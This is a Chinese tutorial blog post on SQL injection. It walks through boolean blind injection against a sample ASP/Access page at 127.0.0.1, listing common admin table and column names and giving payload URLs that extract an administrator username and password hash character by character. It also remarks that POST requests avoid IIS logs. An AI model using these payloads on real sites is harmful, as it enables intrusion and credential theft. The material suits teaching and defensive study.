zoukankan      html  css  js  c++  java
  • SQL注入原理一

    SQL注入的成因
    所谓SQL注入,就是通过把SQL命令插入到Web表单提交、页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。根据所注入对象的类型不同,SQL注入分为三类:

    (1) 变量是数字型,SQL语句形如:
    Select * from 表名 where 字段=21
    注入的变量为ID=21 And [注入查询], 则:
    Select * from 表名 where 字段=49 And [注入查询]

    (2) 变量是字符串型,SQL语句形如:
    Select * from 表名 where 字段='字符串'
    注入的参数为str=字符串' And [注入查询]--, 则:
    Select * from 表名 where 字段='字符串' And [注入查询]--

    (3) 搜索时的变量,如keyword=关键字,SQL语句形如:
    Select * from 表名 where 字段 like '%关键字%'
    注入的参数为keyword=' and [注入查询] and '%25'=', 则:
    Select * from 表名 where 字段 like '%' and [注入查询] and '%'='%'

    注: “--” 符号会将后面的sql语句注释掉,使其得不到执行。%25是“%”的编码。

       以上例子中[注入查询]代表恶意的sql语句,可以看到,传递进来的精心构造的变量巧妙地闭合前后标点,避免sql查询出错,并执行了[注入查询]。这就是sql注入的精髓。我在这里强调一下,实际上现在一提到注入大家就会用到“and”来构造查询,其实,“or”也可以用来注入,只是细节上有所不同。
       需要说明的是,在http提交数据的post方式和get方式中,post方式不会在IIS日志中留下痕迹,get方式正好相反。有经验的管理员会通过IIS日志还原出黑客的入侵手段,要实现post方式的注入,需要借助工具了。

    判断是否存在注入
    这里以http://127.0.0.1/shownews.asp?newsid=33为例,首先打开该网页,下面两步判断:

    1. 提交修改过的网址 http://127.0.0.1/shownews.asp?newsid=33 and 1=1,如果网页没有变化,返回正常
    2. 提交 http://127.0.0.1/shownews.asp?newsid=33 and 1=2,如果网页出现错误,那么,就可以初步判定这里存在注入了

    我们先来提交 http://127.0.0.1/shownews.asp?newsid=33 and (select count(*) from admin)>0,返回正常。
    需要明确的是 http://127.0.0.1/shownews.asp?newsid=33 的结果肯定是“真”,而 “and” 后面的 (select count(*) from admin)>0 的意思就是判断表名为admin的表里面的记录数目是否大于0,如果admin里面有记录,就成了“真 and 真”,整个结果为“真”。之所以这样做,我们是想看看数据库里是否有admin这个表,如果有这个表,我们就可以继续看看这个表里有什么数据,否则就猜测一下别的常用的表名。

    你可能会问,我是怎么知道要猜测admin这个表名的。其实常用的存放管理员密码的表就是那么几个“admin、users、adminuser、admin_user、article_admin、administrator、manage、manager、user”等等,很多网站的表名都出不了这个范围,当然我也见过有的网站防止被人猜解而将表名设置的很奇怪。如果是那样的话,就没办法继续下去了。
    猜到了表名之后,就该猜测字段名了,常用的字段名包括“admin_id、admin_pass、user、adminid、id、admin、adminname、adminpwd、admin_pwd、adminpass、admin_pass、adminpassword、admin_password、uid、userid、user_id、name、username、user_name、pass、userpass、user_pass、password、pwd、user_pwd、passwd等等”,经过反复尝试,我提交的以下3个网址正常,说明username、password、id字段存在

    http://127.0.0.1/shownews.asp?id=33 and (select count(username) from admin)>0

    http://127.0.0.1/shownews.asp?id=33 and (select count(password) from admin)>0

    http://127.0.0.1/shownews.asp?id=33 and (select count(id) from admin)>0

    说明一下:(select count(username) from admin)>0返回为真的话,就是说admin这个表里存在username这个字段,反之则不存在,其他亦然。
    下面来看看id为多少时表里有记录,经过反复测试,下面两个网址返回正常,说明id为13、14时,存在数据:

    http://127.0.0.1/shownews.asp?id=33 and (select count(id) from admin where id=13)>0
    http://127.0.0.1/shownews.asp?id=33 and (select count(id) from admin where id=14)>0

    (select count(id) from admin where id=13)>0的意思是:id为13的数据个数是否大于0,不大于0的话,就说明不存在这条记录。
    然后猜测数据的长度,经过反复尝试,发现:

    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where len(username)>4 and id=13)
    返回正常
    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where len(username)>5 and id=13)
    返回错误

    这里select count(*) from admin where len(username)>4 and id=13
    返回的是id为13的username的长度是否大于4,可以发现大于4正常,大于5错误,说明长度是5。要得到长度需要我们多尝试几次。
    接下来是猜测密码的长度了。确定长度时,效果较高的办法是先确定长度的大致范围,然后用二分法。比如长度大约在4到40位,下一个就猜中间值22,再根据返回的情况猜13或31。经过尝试,密码长度是16,如下:

    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where len(password)>16 and id=13)
    返回错误
    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where len(password)>15 and id=13)
    返回正常

    密码是16位对于有经验的人并不算意外,因为现在密码大多都是经过MD5加密的,加密之后就是16位。关于MD5的概念以及MD5的破解,可以在网上查询下。
    最后就是猜解数据了,这需要一位一位的猜,如下:

    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where left(username,1)='a' and id=13)    //返回正常
    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where left(username,2)='ad' and id=13)    //返回正常
    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where left(username,3)='adm' and id=13)    //返回正常
    ……

    这里,select count(*) from admin where left(username,3)='adm' and id=13的意思就是:id为13的数据的username字段的前三位是否是“adm”,返回正常的话,就继续猜第4位,从“adma、admb、admc、admd、adme……”开始。有了经验以后,你就会发现,很多网站的管理员用户名默认都是“admin”。
    猜解密码也是一样,纯粹考验大家耐心:
    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where left(password,1)='7' and id=13)     //返回正常
    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where left(password,2)='7a' and id=13)    //返回正常
    http://127.0.0.1/shownews.asp?id=33 and 1=(select count(*) from admin where left(password,3)='7a5' and id=13)    //返回正常
    ……
    最后得到id,username和password为13、admin和7a57a5a743894a0e,对于id为14的那条记录,方法一样。

    Access数据库注入的基本方法就介绍到这里,大家可能已经发现它的特点就是要不厌其烦的猜,关键的是猜对表名和字段名,猜不出这两个,后面的事情就无从谈起了,这也是access数据库注入的特点。当大家实在猜不到时,不妨看看网站上的登陆表单,由于编写者的习惯,一般字段名都和表单的输入框同名。
  • 相关阅读:
    BUUCTF-[强网杯 2019]随便注
    Oracle 存储过程
    java.lang.OutOfMemoryError: Java heap space
    Oracle 约束
    Docker 学习1 容器技术基础入门
    Kubernetes 学习1 Devops 核心要点和k8s架构概述
    mysql Sql语句
    Shell 编程详解
    git 学习
    Linux awk学习
  • 原文地址:https://www.cnblogs.com/xieyunc/p/4438281.html
Copyright © 2011-2022 走看看